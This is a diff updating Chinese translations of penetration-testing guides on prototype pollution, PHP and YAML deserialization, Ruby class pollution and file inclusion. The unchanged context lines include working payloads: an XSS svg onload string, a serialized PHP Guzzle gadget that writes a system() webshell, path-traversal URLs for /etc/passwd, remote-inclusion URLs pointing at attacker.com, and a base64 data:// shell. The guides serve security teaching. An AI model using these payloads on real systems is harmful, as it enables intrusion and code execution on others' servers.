 通过原型污染全局影响 JavaScript 对象的两种方法包括：
 
@@ -156,7 +156,7 @@ c[1] // 2 -- not
 ```
 ### Html 元素污染
 
-当通过 JS 生成 HTML 元素时，可以 **覆盖** **`innerHTML`** 属性以使其写入 **任意 HTML 代码。** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
+当通过 JS 生成 HTML 元素时，可以 **覆盖** **`innerHTML`** 属性，使其写入 **任意 HTML 代码。** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
 ```javascript
 // Create element
 devSettings["root"] = document.createElement('main')
@@ -173,7 +173,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
 
 原型污染是由于应用程序中的缺陷导致的，该缺陷允许覆盖 `Object.prototype` 上的属性。这意味着大多数对象从 `Object.prototype` 派生其属性。
 
-最简单的示例是向将要被检查的对象的 **未定义属性** 添加一个值，例如：
+最简单的示例是向一个 **未定义的对象属性** 添加一个值，该属性将被检查，例如：
 ```javascript
 if (user.admin) {
 ```
@@ -218,7 +218,7 @@ client-side-prototype-pollution.md
 $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
 console.log({}.devMode) // Outputs: true
 ```
-此漏洞被识别为 CVE-2019–11358，说明深拷贝如何无意中修改原型，从而导致潜在的安全风险，例如如果像 `isAdmin` 这样的属性在没有适当存在验证的情况下被检查，则可能导致未授权的管理员访问。
+此漏洞被识别为 CVE-2019–11358，说明深拷贝如何无意中修改原型，从而导致潜在的安全风险，例如如果像 `isAdmin` 这样的属性在没有适当存在验证的情况下被检查，可能会导致未经授权的管理员访问。
 
 ### CVE-2018–3721, CVE-2019–10744: 通过 lodash 的原型污染攻击
 
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
index 3b84f79b1..458211c14 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
@@ -19,14 +19,14 @@ return "test"
 },
 })
 ```
-### 查找原型污染的根本原因 <a href="#id-5530" id="id-5530"></a>
+### 找到原型污染的根本原因 <a href="#id-5530" id="id-5530"></a>
 
 一旦通过任何工具识别出原型污染漏洞，并且代码不是过于复杂，您可以通过在 Chrome 开发者工具中搜索关键字如 `location.hash`、`decodeURIComponent` 或 `location.search` 来找到漏洞。这种方法可以帮助您准确定位 JavaScript 代码中的漏洞部分。
 
 对于更大和更复杂的代码库，发现漏洞代码的简单方法包括以下步骤：
 
 1. 使用工具识别漏洞并获取一个旨在设置构造函数中属性的有效载荷。ppmap 提供的示例可能看起来像：`constructor[prototype][ppmap]=reserved`。
-2. 在页面上将 JavaScript 代码的第一行设置为断点。使用有效载荷刷新页面，在此断点处暂停执行。
+2. 在页面上将执行的第一行 JavaScript 代码处设置断点。使用有效载荷刷新页面，在此断点处暂停执行。
 3. 当 JavaScript 执行暂停时，在 JS 控制台中执行以下脚本。该脚本将在创建 'ppmap' 属性时发出信号，帮助定位其来源：
 ```javascript
 function debugAccess(obj, prop, debugGet = true) {
@@ -56,7 +56,7 @@ debugAccess(Object.prototype, "ppmap")
 
 小工具是 **一旦发现 PP 漏洞将被滥用的代码**。
 
-如果应用程序很简单，我们可以 **搜索** **关键词**，如 **`srcdoc/innerHTML/iframe/createElement`** 并查看源代码，检查是否 **导致 JavaScript 执行**。有时，提到的技术可能根本找不到小工具。在这种情况下，纯源代码审查会揭示一些不错的小工具，如下面的示例。
+如果应用程序很简单，我们可以 **搜索** **关键字**，如 **`srcdoc/innerHTML/iframe/createElement`** 并查看源代码，检查是否 **导致 JavaScript 执行**。有时，提到的技术可能根本找不到小工具。在这种情况下，纯源代码审查会揭示一些不错的小工具，如下面的示例。
 
 ### 示例 在 Mithil 库代码中找到 PP 小工具
 
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
index c9d673e30..e0a75a28c 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
@@ -80,7 +80,7 @@ res.send(req.body)
 ```json
 { "unusualName": "value", "__proto__": "test" }
 ```
-此外，在使用像 Lodash 这样的库的场景中，通过原型污染 (PP) 和直接在对象内部设置属性提供了另一种诊断方法。如果这样的属性在响应中被省略，这表明 Lodash 在合并之前正在验证目标对象中属性的存在性：
+此外，在使用像 Lodash 这样的库的场景中，通过原型污染 (PP) 和直接在对象内部设置属性提供了另一种诊断方法。如果这样的属性在响应中被省略，这表明 Lodash 在合并之前正在验证目标对象中属性的存在：
 ```javascript
 {"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
 // If 'b' is the only property reflected, this indicates prototype pollution in Lodash
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
index 6e96fc231..27feecce8 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
@@ -66,7 +66,7 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
 ### **毒害 `__proto__`**
 
 > [!WARNING]
-> 请注意，由于**`child_process`**库中的**`normalizeSpawnArguments`**函数的工作方式，当调用某个函数以**设置新的环境变量**时，你只需要**污染任何东西**。\
+> 请注意，由于**`child_process`**库中的**`normalizeSpawnArguments`**函数的工作方式，当调用某个函数以**设置新的环境变量**时，你只需**污染任何东西**。\
 > 例如，如果你执行`__proto__.avar="valuevar"`，进程将以名为`avar`且值为`valuevar`的变量启动。
 >
 > 然而，为了使**环境变量成为第一个**，你需要**污染****`.env`属性**，并且（仅在某些方法中）该变量将是**第一个**（允许攻击）。
@@ -151,7 +151,7 @@ var proc = fork("a_file.js")
 ```
 ## DNS 交互
 
-使用以下有效负载，可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量，并通过 DNS 交互检测其是否有效：
+使用以下有效载荷，可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量，并通过 DNS 交互检测其是否有效：
 ```json
 {
 "__proto__": {
@@ -228,9 +228,9 @@ var proc = execFile("/usr/bin/node")
 // Windows - not working
 ```
 为了使 **`execFile`** 工作，它 **必须执行 node** 才能使 NODE_OPTIONS 生效。\
-如果它 **没有** 执行 **node**，你需要找到如何 **通过环境变量** **更改执行** 的内容并设置它们。
+如果它 **没有** 执行 **node**，你需要找到如何 **通过环境变量更改执行** 的方法，并设置它们。
 
-**其他** 技术 **在** 没有此要求的情况下 **工作**，因为 **可以通过** 原型污染 **修改** **被执行的内容**。 （在这种情况下，即使你可以污染 `.shell`，你也不会污染正在执行的内容）。
+**其他** 技术 **在** 没有此要求的情况下 **工作**，因为 **可以通过原型污染修改** **被执行的内容**。 （在这种情况下，即使你可以污染 `.shell`，你也不会污染正在执行的内容）。
 
 </details>
 
@@ -474,7 +474,7 @@ var proc = spawnSync("something")
 - /opt/yarn-v1.22.19/preinstall.js
 - 在下面**找到更多文件**
 
-以下简单脚本将搜索**来自**`child_process`**的调用**，**没有任何填充**（以避免显示函数内部的调用）：
+以下简单脚本将搜索**来自** **child_process**的**调用** **没有任何填充**（以避免显示函数内部的调用）：
 ```bash
 find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
 grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
@@ -504,16 +504,16 @@ done
 
 然而，如果代码在原型污染后执行 require，即使你 **不控制将要被 require 的路径**，你 **可以通过滥用原型污染强制使用不同的路径**。因此，即使代码行是 `require("./a_file.js")` 或 `require("bytes")`，它将 **require 你污染的包**。
 
-因此，如果在你的原型污染后执行了 require 并且没有 spawn 函数，这就是攻击：
+因此，如果在你的原型污染后执行了 require 且没有 spawn 函数，这就是攻击：
 
-- 找到一个 **系统内的 `.js` 文件**，当 **被 require 时** 将 **使用 `child_process` 执行某些操作**
+- 找到一个 **系统内的 `.js` 文件**，当 **被 require 时**将 **使用 `child_process` 执行某些操作**
 - 如果你可以向你攻击的平台上传文件，你可以上传这样的文件
 - 污染路径以 **强制 require 加载将使用 child_process 执行某些操作的 `.js` 文件**
-- **污染环境/命令行** 以在调用 child_process 执行函数时执行任意代码（参见初始技术）
+- **污染环境/命令行**以在调用 child_process 执行函数时执行任意代码（参见初始技术）
 
 #### 绝对 require
 
-如果执行的 require 是 **绝对的** (`require("bytes")`)，并且 **包在 `package.json` 文件中不包含 main**，你可以 **污染 `main` 属性** 并使 **require 执行不同的文件**。
+如果执行的 require 是 **绝对的** (`require("bytes")`) 并且 **包在 `package.json` 文件中不包含 main**，你可以 **污染 `main` 属性**，使 **require 执行不同的文件**。
 
 {{#tabs}}
 {{#tab name="exploit"}}
@@ -668,9 +668,9 @@ require("./usage.js")
 请注意，原型污染在访问的对象的 **attribute** 为 **undefined** 时有效。如果在 **code** 中该 **attribute** 被 **设置** 为一个 **value**，你 **将无法覆盖它**。
 
 在 2022 年 6 月，从 [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) 开始，变量 `options` 不再是 `{}`，而是 **`kEmptyObject`**。这 **防止了原型污染** 影响 **`options`** 的 **attributes** 以获得 RCE。\
-至少从 v18.4.0 开始，这种保护已被 **实施**，因此 `spawn` 和 `spawnSync` 的 **exploits** 不再影响这些方法（如果不使用 `options`！）。
+至少从 v18.4.0 开始，这种保护已被 **实施**，因此 `spawn` 和 `spawnSync` **exploits** 影响的方法 **不再有效**（如果不使用 `options`！）。
 
-在 [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) 中，vm 库的 **`contextExtensions`** 的 **prototype pollution** 也通过将选项设置为 **`kEmptyObject`** 而 **部分修复**，而不是 **`{}`**。
+在 [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) 中，vm 库的 **`contextExtensions`** 的 **prototype pollution** 也 **在某种程度上被修复**，将选项设置为 **`kEmptyObject`** 而不是 **`{}`**。
 
 ### **Other Gadgets**
 
diff --git a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
index 103aee7ca..598352a57 100644
--- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
+++ b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
@@ -6,13 +6,13 @@
 
 ## PHP 反序列化 + spl_autoload_register + LFI/Gadget
 
-我们处于一种情况，发现了一个 **webapp 中的 PHP 反序列化**，并且 **没有** 在 **`phpggc`** 中的库易受攻击的 gadget。然而，在同一个容器中有一个 **不同的 composer webapp，里面有易受攻击的库**。因此，目标是 **加载另一个 webapp 的 composer 加载器** 并利用它 **加载一个 gadget 来利用该库中的 gadget**，该库易受反序列化攻击。
+我们处于一种情况，发现了一个 **webapp 中的 PHP 反序列化**，并且 **没有** 库在 **`phpggc`** 中存在漏洞的 gadget。然而，在同一个容器中有一个 **不同的 composer webapp 具有漏洞库**。因此，目标是 **加载另一个 webapp 的 composer 加载器** 并利用它 **加载一个 gadget 来利用该库中的 gadget**，该库在反序列化中存在漏洞。
 
 步骤：
 
 - 您发现了一个 **反序列化**，并且 **当前应用代码中没有任何 gadget**
 - 您可以利用 **`spl_autoload_register`** 函数，如下所示，以 **加载任何本地文件，扩展名为 `.php`**
-- 为此，您使用一个反序列化，其中类的名称将位于 **`$name`** 中。您 **不能在序列化对象的类名中使用 "/" 或 "."**，但是 **代码** 正在 **将** **下划线** ("\_") **替换为斜杠** ("/")。因此，像 `tmp_passwd` 这样的类名将被转换为 `/tmp/passwd.php`，代码将尝试加载它。\
+- 为此，您使用一个反序列化，其中类的名称将位于 **`$name`** 中。您 **不能在序列化对象的类名中使用 "/" 或 "."**，但是 **代码** 正在 **将下划线** ("\_") **替换为斜杠** ("/")。因此，像 `tmp_passwd` 这样的类名将被转换为 `/tmp/passwd.php`，代码将尝试加载它。\
 一个 **gadget 示例** 将是： **`O:10:"tmp_passwd":0:{}`**
 ```php
 spl_autoload_register(function ($name) {
@@ -38,17 +38,17 @@ require __DIR__ . $filename;
 > [!TIP]
 > 如果你有一个 **文件上传** 并且可以上传一个 **`.php` 扩展名** 的文件，你可以 **直接利用这个功能** 并获得 RCE。
 
-在我的情况下，我没有这样的东西，但在 **同一个容器** 内有另一个 composer 网页，里面有一个 **易受攻击的 `phpggc` 小工具**。
+在我的情况下，我没有这样的东西，但在 **同一个容器** 内有另一个 composer 网页，里面有一个 **易受 `phpggc` 小工具攻击的库**。
 
 - 要加载这个其他库，首先你需要 **加载那个其他 web 应用的 composer 加载器**（因为当前应用的加载器无法访问另一个的库）。**知道应用的路径**，你可以很容易地实现这一点：**`O:28:"www_frontend_vendor_autoload":0:{}`**（在我的情况下，composer 加载器在 `/www/frontend/vendor/autoload.php`）
 - 现在，你可以 **加载** 其他 **应用的 composer 加载器**，所以是时候 **`生成 phpgcc`** **有效载荷** 来使用。在我的情况下，我使用了 **`Guzzle/FW1`**，这让我可以 **在文件系统内写入任何文件**。
-- 注意：**生成的小工具没有工作**，为了让它工作，我 **修改** 了那个有效载荷 **`chain.php`** 的 phpggc，并将 **所有属性** 的类 **从私有改为公共**。如果不这样做，反序列化字符串后，创建的对象的属性将没有任何值。
-- 现在我们有了 **加载其他应用的 composer 加载器** 的方法，并且有一个 **有效的 phpggc 有效载荷**，但我们需要 **在同一个请求中执行此操作，以便在使用小工具时加载加载器**。为此，我发送了一个序列化数组，包含两个对象，如下所示：
+- 注意：**生成的小工具没有工作**，为了使其工作，我 **修改** 了那个有效载荷 **`chain.php`** 的 phpggc，并将 **所有属性** 的类 **从私有改为公共**。如果不这样做，反序列化字符串后，创建的对象的属性将没有任何值。
+- 现在我们有了 **加载其他应用的 composer 加载器** 的方法，并且有一个 **有效的 phpgcc 有效载荷**，但我们需要 **在同一个请求中执行此操作，以便在使用小工具时加载加载器**。为此，我发送了一个序列化数组，包含两个对象，如下所示：
 - 你可以看到 **首先加载加载器，然后是有效载荷**。
 ```php
 a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
 ```
-- 现在，我们可以**创建和写入文件**，但是用户**无法在web服务器的任何文件夹中写入**。因此，如您在有效负载中所见，PHP调用**`system`**并创建了一些**base64**在**`/tmp/a.php`**中。然后，我们可以**重用我们用于LFI的第一种有效负载**来加载另一个web应用程序的composer加载器**以加载生成的`/tmp/a.php`**文件。只需将其添加到反序列化小工具中：&#x20;
+- 现在，我们可以**创建和写入文件**，但是用户**无法在网络服务器的任何文件夹中写入**。因此，如您在有效负载中所见，PHP 调用**`system`**，并在**`/tmp/a.php`**中创建了一些**base64**。然后，我们可以**重用我们用于 LFI 的第一种有效负载**，以加载另一个 webapp 的 composer 加载器**以加载生成的 `/tmp/a.php`** 文件。只需将其添加到反序列化小工具中：&#x20;
 ```php
 a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
 ```
diff --git a/src/pentesting-web/deserialization/python-yaml-deserialization.md b/src/pentesting-web/deserialization/python-yaml-deserialization.md
index 5d5f1c59e..9faeb53b7 100644
--- a/src/pentesting-web/deserialization/python-yaml-deserialization.md
+++ b/src/pentesting-web/deserialization/python-yaml-deserialization.md
@@ -77,7 +77,7 @@ state: !!python/tuple
 state:
 update: !!python/name:exec
 ```
-或者你也可以使用这个**@ishaack 提供的一行代码**：
+或者你也可以使用这个 **@ishaack 提供的单行代码**：
 ```yaml
 !!python/object/new:str {
 state:
diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md
index f211f4be0..08b66a91f 100644
--- a/src/pentesting-web/deserialization/ruby-class-pollution.md
+++ b/src/pentesting-web/deserialization/ruby-class-pollution.md
@@ -152,7 +152,7 @@ JSONMergerApp.run(json_input)
 
 ### ActiveSupport 的 `deep_merge`
 
-这默认情况下并不脆弱，但可以通过类似的方式使其脆弱:&#x20;
+这默认情况下并不脆弱，但可以通过类似的方式使其脆弱：&#x20;
 ```ruby
 # Method to merge additional data into the object using ActiveSupport deep_merge
 def merge_with(other_object)
@@ -398,7 +398,7 @@ curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"ur
 ```bash
 for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
 ```
-可以通过暴力破解定义的类，并在某些时候污染类 **`KeySigner`**，通过 `injected-signing-key` 修改 `signing_key` 的值。
+可以通过暴力破解定义的类，并在某个时刻污染类 **`KeySigner`**，通过 `injected-signing-key` 修改 `signing_key` 的值。
 
 ## References
 
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 8e6b9f403..30d9eedf1 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -23,7 +23,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
 
-尝试将 `/` 改为 `\`\
+尝试将 `/` 更改为 `\`\
 尝试添加 `../../../../../`
 
 一个使用多种技术查找文件 /etc/password（以检查漏洞是否存在）的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到。
@@ -34,7 +34,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
 
-尝试将 `/` 改为 `\`\
+尝试将 `/` 更改为 `\`\
 尝试删除 `C:/` 并添加 `../../../../../`
 
 一个使用多种技术查找文件 /boot.ini（以检查漏洞是否存在）的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到。
@@ -45,7 +45,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 
 ## 基本 LFI 和绕过
 
-所有示例都是针对本地文件包含，但也可以应用于远程文件包含（页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/）。
+所有示例都是针对本地文件包含，但也可以应用于远程文件包含（页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>）。
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
@@ -80,7 +80,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
 ### 在服务器上探索文件系统目录
 
-服务器的文件系统可以通过某些技术递归地探索，以识别目录，而不仅仅是文件。这个过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目的的详细方法：
+服务器的文件系统可以通过某些技术递归地探索，以识别目录，而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目标的详细方法：
 
 1. **确定目录深度：** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度（适用于基于Linux的服务器）。一个示例URL可能结构如下，表示深度为三：
 ```bash
@@ -101,15 +101,15 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **路径截断技术**
 
-路径截断是一种用于操纵Web应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件，这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径，该路径在被安全措施修改后，仍然指向所需的文件。
+路径截断是一种用于操纵 web 应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件，这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径，该路径在被安全措施修改后，仍然指向所需的文件。
 
-在PHP中，由于文件系统的性质，文件路径的各种表示可以被视为等效。例如：
+在 PHP 中，由于文件系统的性质，文件路径的各种表示可以被视为等效。例如：
 
-- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`和`/etc/passwd/`都被视为相同的路径。
-- 当最后6个字符为`passwd`时，附加一个`/`（使其变为`passwd/`）不会改变目标文件。
-- 同样，如果在文件路径后附加`.php`（如`shellcode.php`），在末尾添加`/.`不会改变被访问的文件。
+- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd` 和 `/etc/passwd/` 都被视为相同的路径。
+- 当最后 6 个字符是 `passwd` 时，附加一个 `/`（使其变为 `passwd/`）不会改变目标文件。
+- 同样，如果在文件路径后附加 `.php`（如 `shellcode.php`），在末尾添加 `/.` 不会改变正在访问的文件。
 
-提供的示例演示了如何利用路径截断访问`/etc/passwd`，这是一个由于其敏感内容（用户账户信息）而常见的目标：
+提供的示例演示了如何利用路径截断访问 `/etc/passwd`，这是一个由于其敏感内容（用户账户信息）而常见的目标：
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -139,7 +139,7 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## 远程文件包含
 
-在 php 中，这默认是禁用的，因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作，在这种情况下，你可以从你的服务器包含一个 PHP 文件并获得 RCE：
+在php中，这默认是禁用的，因为 **`allow_url_include`** 是 **关闭的。** 必须将其设置为 **开启** 才能工作，在这种情况下，您可以从您的服务器包含一个PHP文件并获得RCE：
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
@@ -162,12 +162,12 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
-如果用户传递一个 **绝对路径** 给 **`file_name`**，那么 **之前的路径将被移除**：
+如果用户传递一个 **绝对路径** 给 **`file_name`**，那么 **之前的路径会被移除**：
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)，这是预期的行为：
+根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)的说明，这是预期的行为：
 
 > 如果一个组件是绝对路径，则所有先前的组件都会被丢弃，并从绝对路径组件继续连接。
 
@@ -222,13 +222,13 @@ PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
-- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码列表**，请在控制台中运行：`iconv -l`
+- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码** 列表，请在控制台中运行：`iconv -l`
 
 > [!WARNING]
 > 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**，这可能对写入任意文本或使函数如 include 处理任意文本有用。有关更多信息，请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
 
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: 压缩内容（如果提取大量信息时很有用）
+- `zlib.deflate`: 压缩内容（在提取大量信息时很有用）
 - `zlib.inflate`: 解压数据
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
 - `mcrypt.*` : 已弃用
@@ -269,12 +269,12 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 
 ### 使用 php 过滤器作为 oracle 读取任意文件
 
-[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔文件外泄（逐字符）**。这是因为 php 过滤器可以用来使文本变得足够大，从而使 php 抛出异常。
+[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔外泄文件（逐字符）**。这是因为 php 过滤器可以用来使文本变得足够大，从而使 php 抛出异常。
 
 在原始文章中可以找到该技术的详细解释，但这里是一个快速总结：
 
 - 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头，并使字符串的大小呈指数级增长。
-- 这将用于生成一个 **当初始字母正确猜测时非常大的文本**，以至于 php 会触发一个 **错误**。
+- 这将用于生成一个 **当初始字母被正确猜测时变得如此庞大的文本**，以至于 php 会触发一个 **错误**。
 - **dechunk** 过滤器将 **删除所有内容，如果第一个字符不是十六进制**，因此我们可以知道第一个字符是否是十六进制。
 - 这与前一个（以及根据猜测字母的其他过滤器）结合，将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制，dechunk 不会删除它，初始炸弹将导致 php 错误。
 - 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母（因此在此编码后：a -> b）。这使我们能够发现第一个字母是否是 `a`，例如，因为如果我们应用 6 次此编码 a->b->c->d->e->f->g，该字母不再是十六进制字符，因此 dechunk 不会删除它，php 错误被触发，因为它与初始炸弹相乘。
@@ -287,7 +287,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 
 ### php://fd
 
-此包装器允许访问进程打开的文件描述符。可能对外泄打开文件的内容非常有用：
+此包装器允许访问进程打开的文件描述符。可能对外泄打开文件的内容有用：
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
@@ -366,13 +366,13 @@ phar-deserialization.md
 
 ### CVE-2024-2961
 
-可以滥用 **任何支持 php 过滤器的 PHP 中的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
+可以滥用 **任何支持 PHP 过滤器的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
 非常简要的总结：在 PHP 堆中滥用 **3 字节溢出** 来 **更改特定大小的空闲块链**，以便能够 **在任何地址写入任何内容**，因此添加了一个钩子来调用 **`system`**。\
-可以通过滥用更多的 php 过滤器来分配特定大小的块。
+可以通过滥用更多 PHP 过滤器来分配特定大小的块。
 
 ### 更多协议
 
-查看更多可能的 [**协议以包含在这里**](https://www.php.net/manual/en/wrappers.php)**：**
+查看更多可能的 [**协议以包含在此**](https://www.php.net/manual/en/wrappers.php)**：**
 
 - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入（不确定这在文件包含攻击中如何有用）
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
@@ -385,7 +385,7 @@ phar-deserialization.md
 
 ## 通过 PHP 的 'assert' 进行 LFI
 
-在处理 'assert' 函数时，PHP 中的本地文件包含（LFI）风险显著较高，因为它可以执行字符串中的代码。如果输入包含像 ".." 这样的目录遍历字符被检查但未正确清理，这尤其成问题。
+在处理 'assert' 函数时，PHP 中的本地文件包含（LFI）风险显著较高，因为它可以在字符串中执行代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理，这尤其成问题。
 
 例如，PHP 代码可能被设计为防止目录遍历，如下所示：
 ```bash
@@ -404,7 +404,7 @@ assert("strpos('$file', '..') === false") or die("");
 ## PHP盲路径遍历
 
 > [!WARNING]
-> 该技术适用于您**控制**一个**PHP函数**的**文件路径**的情况，该函数将**访问一个文件**但您看不到文件的内容（如简单调用**`file()`**），但内容不会显示。
+> 该技术适用于您**控制**一个**PHP函数**的**文件路径**的情况，该函数将**访问一个文件**但您不会看到文件的内容（如简单调用**`file()`**），但内容不会显示。
 
 在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。
 
